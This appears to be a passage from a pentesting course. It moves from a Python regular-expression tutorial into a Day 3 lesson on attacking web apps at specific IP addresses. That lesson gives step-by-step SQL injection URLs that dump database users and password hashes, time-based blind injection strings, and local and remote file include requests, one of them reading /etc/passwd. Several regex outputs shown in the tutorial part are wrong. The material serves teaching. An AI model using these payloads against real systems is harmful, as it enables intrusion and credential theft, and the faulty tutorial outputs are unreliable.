There are methods like start() and end() to know the start and end position of matching pattern in the string.
6128
6129
Code
6130
---------------------------Type This-----------------------------------
6131
$ python3
6132
import re
6133
result = re.match(r'AV', 'AV Analytics ESET AV')
6134
print (result.start())
6135
print (result.end())
6136
6137
----------------------------------------------------------------------
6138
6139
Output:
6140
0
6141
2
6142
6143
Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
6144
6145
6146
6147
6148
6149
re.search(pattern, string):
6150
-----------------------------------------------------
6151
6152
6153
It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
6154
6155
Code
6156
---------------------------Type This-----------------------------------
6157
$ python3
6158
import re
6159
result = re.search(r'Analytics', 'AV Analytics ESET AV')
6160
print (result.group(0))
6161
----------------------------------------------------------------------
6162
6163
Output:
6164
Analytics
6165
6166
Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
6167
6168
6169
6170
6171
6172
6173
re.findall (pattern, string):
6174
------------------------------------------------------
6175
6176
6177
It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
6178
6179
6180
Code
6181
---------------------------Type This-----------------------------------
6182
$ python3
6183
import re
6184
result = re.findall(r'AV', 'AV Analytics ESET AV')
6185
print (result)
6186
----------------------------------------------------------------------
6187
6188
Output:
6189
['AV', 'AV']
6190
6191
6192
6193
6194
6195
re.split(pattern, string, [maxsplit=0]):
6196
------------------------------------------------------
6197
6198
6199
6200
This methods helps to split string by the occurrences of given pattern.
6201
6202
6203
Code
6204
---------------------------Type This-----------------------------------
6205
$ python3
6206
result=re.split(r'y','Analytics')
6207
result
6208
 ----------------------------------------------------------------------
6209
6210
Output:
6211
['Anal', 'tics']
6212
6213
Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
6214
6215
6216
Code
6217
---------------------------Type This-----------------------------------
6218
$ python3
6219
import re
6220
result=re.split(r's','Analytics eset')
6221
print (result)
6222
6223
----------------------------------------------------------------------
6224
6225
Output:
6226
['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
6227
6228
6229
6230
Code
6231
---------------------------Type This-----------------------------------
6232
$ python3
6233
import re
6234
result=re.split(r's','Analytics eset',maxsplit=1)
6235
print (result)
6236
6237
----------------------------------------------------------------------
6238
6239
Output:
6240
[]
6241
6242
6243
6244
6245
6246
re.sub(pattern, repl, string):
6247
----------------------------------------------------------
6248
6249
It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
6250
6251
Code
6252
---------------------------Type This-----------------------------------
6253
$ python3
6254
import re
6255
result=re.sub(r'Ruby','Python','Joe likes Ruby')
6256
print (result)
6257
----------------------------------------------------------------------
6258
 
6259
Output:
6260
''
6261
6262
6263
6264
6265
6266
re.compile(pattern, repl, string):
6267
----------------------------------------------------------
6268
6269
6270
We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
6271
6272
6273
Code
6274
---------------------------Type This-----------------------------------
6275
$ python3
6276
import re
6277
pattern=re.compile('XSS')
6278
result=pattern.findall('XSS is Cross Site Scripting, XSS')
6279
print (result)
6280
result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
6281
print (result2)
6282
6283
----------------------------------------------------------------------
6284
6285
Output:
6286
['XSS', 'XSS']
6287
['XSS']
6288
6289
Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
6290
6291
This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
6292
6293
 
6294
6295
6296
6297
**********************************************
6298
* What are the most commonly used operators? *
6299
**********************************************
6300
6301
6302
Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
6303
6304
Operators	Description
6305
.	        Matches with any single character except newline ‘\n'.
6306
?	        match 0 or 1 occurrence of the pattern to its left
6307
+	        1 or more occurrences of the pattern to its left
6308
*	        0 or more occurrences of the pattern to its left
6309
\w	        Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
6310
\d	        Matches with digits [0-9] and /D (upper case D) matches with non-digits.
6311
\s	        Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
6312
\b	        boundary between word and non-word and /B is opposite of /b
6313
[..]	        Matches any single character in a square bracket and [^..] matches any single character not in square bracket
6314
\	        It is used for special meaning characters like \. to match a period or \+ for plus sign.
6315
^ and $	        ^ and $ match the start or end of the string respectively
6316
{n,m}	        Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
6317
a| b	        Matches either a or b
6318
( )	        Groups regular expressions and returns matched text
6319
\t, \n, \r	Matches tab, newline, return
6320
6321
6322
For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
6323
6324
Now, let's understand the pattern operators by looking at the below examples.
6325
6326
 
6327
6328
****************************************
6329
* Some Examples of Regular Expressions *
6330
****************************************
6331
6332
******************************************************
6333
* Problem 1: Return the first word of a given string *
6334
******************************************************
6335
6336
6337
Solution-1  Extract each character (using "\w")
6338
---------------------------------------------------------------------------
6339
6340
Code
6341
---------------------------Type This-----------------------------------
6342
$ python3
6343
import re
6344
result=re.findall(r'.','Python is the best scripting language')
6345
print (result)
6346
----------------------------------------------------------------------
6347
 
6348
Output:
6349
['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
6350
6351
6352
Above, space is also extracted, now to avoid it use "\w" instead of ".".
6353
6354
6355
Code
6356
---------------------------Type This-----------------------------------
6357
$ python3
6358
import re
6359
result=re.findall(r'\w','Python is the best scripting language')
6360
print (result)
6361
6362
----------------------------------------------------------------------
6363
 
6364
Output:
6365
['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
6366
6367
6368
6369
6370
Solution-2  Extract each word (using "*" or "+")
6371
---------------------------------------------------------------------------
6372
6373
Code
6374
---------------------------Type This-----------------------------------
6375
$ python3
6376
import re
6377
result=re.findall(r'\w*','Python is the best scripting language')
6378
print (result)
6379
6380
----------------------------------------------------------------------
6381
 
6382
Output:
6383
['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
6384
 
6385
6386
Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
6387
6388
Code
6389
---------------------------Type This-----------------------------------
6390
$ python3
6391
import re
6392
result=re.findall(r'\w+','Python is the best scripting language')
6393
print (result)
6394
6395
----------------------------------------------------------------------
6396
 
6397
Output:
6398
['Python', 'is', 'the', 'best', 'scripting', 'language']
6399
6400
6401
6402
6403
Solution-3 Extract each word (using "^")
6404
-------------------------------------------------------------------------------------
6405
6406
6407
Code
6408
---------------------------Type This-----------------------------------
6409
$ python3
6410
import re
6411
result=re.findall(r'^\w+','Python is the best scripting language')
6412
print (result)
6413
6414
----------------------------------------------------------------------
6415
6416
Output:
6417
['Python']
6418
6419
If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
6420
6421
Code
6422
---------------------------Type This-----------------------------------
6423
$ python3
6424
import re
6425
result=re.findall(r'\w+$','Python is the best scripting language')
6426
print (result)
6427
----------------------------------------------------------------------
6428
6429
Output:
6430
[‘language']
6431
6432
6433
6434
6435
6436
********************************************************** 
6437
* Problem 2: Return the first two character of each word *
6438
**********************************************************
6439
6440
6441
6442
6443
Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
6444
------------------------------------------------------------------------------------------------------
6445
6446
Code
6447
---------------------------Type This-----------------------------------
6448
$ python3
6449
import re
6450
result=re.findall(r'\w\w','Python is the best')
6451
print (result)
6452
6453
----------------------------------------------------------------------
6454
 
6455
Output:
6456
['Py', 'th', 'on', 'is', 'th', 'be', 'st']
6457
6458
6459
6460
6461
6462
Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
6463
------------------------------------------------------------------------------------------------------
6464
6465
Code
6466
---------------------------Type This-----------------------------------
6467
$ python3
6468
import re
6469
result=re.findall(r'\b\w.','Python is the best')
6470
print (result)
6471
6472
----------------------------------------------------------------------
6473
 
6474
Output:
6475
['Py', 'is', 'th', 'be']
6476
6477
6478
6479
6480
6481
6482
********************************************************
6483
* Problem 3: Return the domain type of given email-ids *
6484
********************************************************
6485
6486
6487
To explain it in simple manner, I will again go with a stepwise approach:
6488
6489
6490
6491
6492
6493
Solution-1  Extract all characters after "@"
6494
------------------------------------------------------------------------------------------------------------------
6495
6496
Code
6497
---------------------------Type This-----------------------------------
6498
$ python3
6499
import re
6500
result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz') 
6501
print (result)
6502
----------------------------------------------------------------------
6503
6504
Output: ['@gmail', '@test', '@strategicsec', '@rest']
6505
6506
6507
6508
Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
6509
6510
---------------------------Type This-----------------------------------
6511
$ python3
6512
import re
6513
result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
6514
print (result)
6515
6516
----------------------------------------------------------------------
6517
6518
Output:
6519
['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
6520
6521
6522
6523
6524
6525
6526
Solution – 2 Extract only domain name using "( )"
6527
-----------------------------------------------------------------------------------------------------------------------
6528
6529
6530
Code
6531
---------------------------Type This-----------------------------------
6532
$ python3
6533
import re
6534
result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
6535
print (result)
6536
6537
----------------------------------------------------------------------
6538
6539
Output:
6540
['com', 'com', 'com', 'biz']
6541
6542
6543
6544
********************************************
6545
* Problem 4: Return date from given string *
6546
********************************************
6547
6548
6549
Here we will use "\d" to extract digit.
6550
6551
6552
Solution:
6553
----------------------------------------------------------------------------------------------------------------------
6554
6555
Code
6556
---------------------------Type This-----------------------------------
6557
$ python3
6558
import re
6559
6560
result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
6561
print (result)
6562
6563
----------------------------------------------------------------------
6564
6565
Output:
6566
['12-05-2007', '11-11-2016', '12-01-2009']
6567
6568
If you want to extract only year again parenthesis "( )" will help you.
6569
6570
6571
Code
6572
6573
---------------------------Type This-----------------------------------
6574
$ python3
6575
import re
6576
result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
6577
print (result)
6578
6579
----------------------------------------------------------------------
6580
6581
Output:
6582
['2007', '2016', '2009']
6583
6584
6585
6586
6587
6588
*******************************************************************
6589
* Problem 5: Return all words of a string those starts with vowel *
6590
*******************************************************************
6591
6592
6593
6594
6595
Solution-1  Return each words
6596
-----------------------------------------------------------------------------------------------------------------
6597
6598
Code
6599
---------------------------Type This-----------------------------------
6600
$ python3
6601
import re
6602
result=re.findall(r'\w+','Python is the best')
6603
print (result)
6604
----------------------------------------------------------------------
6605
6606
Output:
6607
['Python', 'is', 'the', 'best']
6608
6609
6610
6611
6612
6613
Solution-2  Return words starts with alphabets (using [])
6614
------------------------------------------------------------------------------------------------------------------
6615
6616
Code
6617
---------------------------Type This-----------------------------------
6618
$ python3
6619
import re
6620
result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
6621
print (result)
6622
6623
----------------------------------------------------------------------
6624
 
6625
Output:
6626
['ove', 'on']
6627
6628
Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
6629
6630
6631
6632
6633
6634
Solution- 3
6635
------------------------------------------------------------------------------------------------------------------
6636
6637
Code
6638
---------------------------Type This-----------------------------------
6639
$ python3
6640
import re
6641
result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
6642
print (result)
6643
6644
----------------------------------------------------------------------
6645
 
6646
Output:
6647
[]
6648
6649
In similar ways, we can extract words those starts with constant using "^" within square bracket.
6650
6651
6652
Code
6653
---------------------------Type This-----------------------------------
6654
$ python3
6655
import re
6656
result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
6657
print (result)
6658
6659
----------------------------------------------------------------------
6660
6661
Output:
6662
[' love', ' Python']
6663
6664
Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
6665
6666
6667
Code
6668
---------------------------Type This-----------------------------------
6669
$ python3
6670
import re
6671
result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
6672
print (result)
6673
6674
----------------------------------------------------------------------
6675
6676
Output:
6677
['love', 'Python']
6678
6679
6680
6681
6682
6683
6684
*************************************************************************************************
6685
* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
6686
*************************************************************************************************
6687
6688
6689
We have a list phone numbers in list "li" and here we will validate phone numbers using regular
6690
6691
6692
6693
6694
Solution
6695
-------------------------------------------------------------------------------------------------------------------------------------
6696
6697
6698
Code
6699
---------------------------Type This-----------------------------------
6700
$ python3
6701
import re
6702
li=['9999999999','999999-999','99999x9999']
6703
for val in li:
6704
 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
6705
     print ('yes')
6706
 else:
6707
     print ('no')
6708
6709
6710
----------------------------------------------------------------------
6711
6712
Output:
6713
yes
6714
no
6715
no
6716
6717
6718
6719
6720
6721
******************************************************
6722
* Problem 7: Split a string with multiple delimiters *
6723
******************************************************
6724
6725
6726
6727
Solution
6728
---------------------------------------------------------------------------------------------------------------------------
6729
6730
6731
Code
6732
---------------------------Type This-----------------------------------
6733
$ python3
6734
import re
6735
line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
6736
result= re.split(r'[;,\s]', line)
6737
print (result)
6738
6739
----------------------------------------------------------------------
6740
6741
Output:
6742
['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
6743
6744
6745
6746
We can also use method re.sub() to replace these multiple delimiters with one as space " ".
6747
6748
6749
Code
6750
---------------------------Type This-----------------------------------
6751
$ python3
6752
import re
6753
line = 'asdf fjdk;afed,fjek,asdf,foo'
6754
result= re.sub(r'[;,\s]',' ', line)
6755
print (result)
6756
6757
----------------------------------------------------------------------
6758
6759
Output:
6760
asdf fjdk afed fjek asdf foo
6761
6762
6763
6764
6765
**************************************************
6766
* Problem 8: Retrieve Information from HTML file *
6767
**************************************************
6768
6769
6770
6771
I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
6772
6773
6774
6775
Create a file that contains the following data:
6776
---------------------------Paste This-----------------------------------
6777
6778
<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
6779
<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
6780
<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
6781
<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
6782
<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
6783
<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
6784
<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
6785
----------------------------------------------------------------------
6786
6787
Solution:
6788
6789
6790
6791
Code
6792
---------------------------Type This-----------------------------------
6793
$ python3
6794
f=open('file.txt', "r")
6795
import re
6796
str = f.read()
6797
result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
6798
print (result)
6799
----------------------------------------------------------------------
6800
6801
Output:
6802
[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
6803
6804
6805
6806
You can read html file using library urllib2 (see below code).
6807
6808
6809
Code
6810
---------------------------Type This-----------------------------------
6811
$ python3
6812
import urllib2
6813
response = urllib2.urlopen('')
6814
html = response.read()
6815
----------------------------------------------------------------------
6816
NOTE: You can put any website URL that you want in the urllib2.urlopen('')
6817
6818
6819
6820
6821
##################################
6822
# Day 2 Homework videos to watch #
6823
##################################
6824
Here is your first set of youtube videos that I'd like for you to watch:
6825
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
6826
6827
6828
6829
6830
6831
6832
6833
6834
6835
6836
                            ###############################################################
6837
----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
6838
                            ###############################################################
6839
6840
##################################
6841
# Basic: Web Application Testing #
6842
##################################
6843
 
6844
Most people are going to tell you reference the OWASP Testing guide.
6845
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
6846
 
6847
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
6848
 
6849
 
6850
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
6851
   
6852
    1. Does the website talk to a DB?
6853
        - Look for parameter passing (ex: site.com/page.php?id=4)
6854
        - If yes - try SQL Injection
6855
 
6856
    2. Can I or someone else see what I type?
6857
        - If yes - try XSS
6858
 
6859
    3. Does the page reference a file?
6860
        - If yes - try LFI/RFI
6861
 
6862
Let's start with some manual testing against 45.63.104.73
6863
 
6864
 
6865
#######################
6866
# Attacking PHP/MySQL #
6867
#######################
6868
 
6869
Go to LAMP Target homepage
6870
http://45.63.104.73/
6871
 
6872
 
6873
 
6874
Clicking on the Acer Link:
6875
http://45.63.104.73/acre2.php?lap=acer
6876
 
6877
    - Found parameter passing (answer yes to question 1)
6878
    - Insert ' to test for SQLI
6879
6880
---------------------------Type This-----------------------------------
6881
6882
http://45.63.104.73/acre2.php?lap=acer'
6883
 
6884
-----------------------------------------------------------------------
6885
 
6886
Page returns the following error:
6887
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
6888
 
6889
 
6890
 
6891
In order to perform union-based sql injection - we must first determine the number of columns in this query.
6892
We do this using the ORDER BY
6893
6894
---------------------------Type This-----------------------------------
6895
6896
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
6897
-----------------------------------------------------------------------
6898
 
6899
Page returns the following error:
6900
Unknown column '100' in 'order clause'
6901
 
6902
 
6903
---------------------------Type This-----------------------------------
6904
 
6905
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
6906
-----------------------------------------------------------------------
6907
 
6908
Page returns the following error:
6909
Unknown column '50' in 'order clause'
6910
 
6911
 
6912
---------------------------Type This-----------------------------------
6913
 
6914
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
6915
-----------------------------------------------------------------------
6916
6917
Page returns the following error:
6918
Unknown column '25' in 'order clause'
6919
 
6920
 
6921
---------------------------Type This-----------------------------------
6922
 
6923
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
6924
-----------------------------------------------------------------------
6925
 
6926
Page returns the following error:
6927
Unknown column '12' in 'order clause'
6928
 
6929
 
6930
---------------------------Type This-----------------------------------
6931
 
6932
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
6933
-----------------------------------------------------------------------
6934
6935
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
6936
 
6937
 
6938
 
6939
Now we build out the union all select statement with the correct number of columns
6940
 
6941
Reference:
6942
http://www.techonthenet.com/sql/union.php
6943
 
6944
 
6945
---------------------------Type This-----------------------------------
6946
 
6947
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
6948
-----------------------------------------------------------------------
6949
 
6950
 
6951
 
6952
Now we negate the parameter value 'acer' by turning into the word 'null':
6953
---------------------------Type This-----------------------------------
6954
6955
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
6956
-----------------------------------------------------------------------
6957
6958
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
6959
 
6960
 
6961
Use a cheat sheet for syntax:
6962
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
6963
 
6964
---------------------------Type This-----------------------------------
6965
 
6966
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
6967
 
6968
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
6969
 
6970
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
6971
 
6972
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
6973
 
6974
 
6975
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
6976
 
6977
-----------------------------------------------------------------------
6978
 
6979
6980
6981
########################
6982
# Question I get a lot #
6983
########################
6984
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
6985
 
6986
Here is a good reference for it:
6987
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
6988
 
6989
Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
6990
 
6991
 
6992
 
6993
 
6994
#########################
6995
# File Handling Attacks #
6996
#########################
6997
 
6998
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
6999
7000
---------------------------Type This-----------------------------------
7001
7002
http://45.63.104.73/showfile.php?filename=about.txt
7003
 
7004
-----------------------------------------------------------------------
7005
 
7006
 
7007
See if you can read files on the file system:
7008
---------------------------Type This-----------------------------------
7009
7010
http://45.63.104.73/showfile.php?filename=/etc/passwd
7011
-----------------------------------------------------------------------
7012
 
7013
We call this attack a Local File Include or LFI.
7014
 
7015
Now let's find some text out on the internet somewhere:
7016
https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
7017
 
7018
 
7019
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
7020
7021
---------------------------Type This-----------------------------------
7022
7023
http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
7024
 -----------------------------------------------------------------------
7025
7026
#########################################################################################
7027
# SQL Injection                                                                         #
7028
# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
7029
#########################################################################################
7030
 
7031
 
7032
- Another quick way to test for SQLI is to remove the paramter value
7033
 
7034
 
7035
#############################
7036
# Error-Based SQL Injection #
7037
#############################
7038
---------------------------Type This-----------------------------------
7039
7040
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
7041
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
7042
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
7043
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
7044
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
7045
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
7046
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
7047
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
7048
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
7049
 
7050
-----------------------------------------------------------------------
7051
 
7052
 
7053
 
7054
#############################
7055
# Union-Based SQL Injection #
7056
#############################
7057
7058
---------------------------Type This-----------------------------------
7059
7060
http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
7061
http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
7062
http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
7063
http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
7064
http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
7065
http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
7066
http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
7067
http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
7068
http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
7069
http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
7070
-----------------------------------------------------------------------
7071
 
7072
    We are using a union select statement because we are joining the developer's query with one of our own.
7073
    Reference:
7074
    http://www.techonthenet.com/sql/union.php
7075
    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
7076
    It removes duplicate rows between the various SELECT statements.
7077
 
7078
    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
7079
7080
---------------------------Type This-----------------------------------
7081
 
7082
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
7083
-----------------------------------------------------------------------
7084
 
7085
    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
7086
7087
---------------------------Type This-----------------------------------
7088
 
7089
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
7090
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
7091
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
7092
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
7093
 
7094
 -----------------------------------------------------------------------
7095
7096
 
7097
 
7098
 
7099
- Another way is to see if you can get the backend to perform an arithmetic function
7100
7101
---------------------------Type This-----------------------------------
7102
7103
http://45.77.162.239/bookdetail.aspx?id=(2)
7104
http://45.77.162.239/bookdetail.aspx?id=(4-2)  
7105
http://45.77.162.239/bookdetail.aspx?id=(4-1)
7106
 
7107
 
7108
 
7109
http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
7110
http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
7111
http://45.77.162.239/bookdetail.aspx?id=1*1
7112
http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
7113
http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
7114
http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
7115
http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
7116
http://45.77.162.239/bookdetail.aspx?id=2 &0#
7117
 
7118
 
7119
 
7120
http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
7121
http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
7122
http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
7123
http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
7124
 
7125
 -----------------------------------------------------------------------
7126
 
7127
 
7128
###############################
7129
# Blind SQL Injection Testing #
7130
###############################
7131
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
7132
     
7133
3 - Total Characters
7134
---------------------------Type This-----------------------------------
7135
7136
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
7137
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
7138
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
7139
 -----------------------------------------------------------------------
7140
 
7141
Let's go for a quick check to see if it's DBO
7142
7143
---------------------------Type This-----------------------------------
7144
7145
http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
7146
 -----------------------------------------------------------------------
7147
 
7148
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
7149
7150
 ---------------------------Type This-----------------------------------
7151
7152
D  - 1st Character
7153
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
7154
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
7155
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
7156
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
7157
 
7158
B - 2nd Character
7159
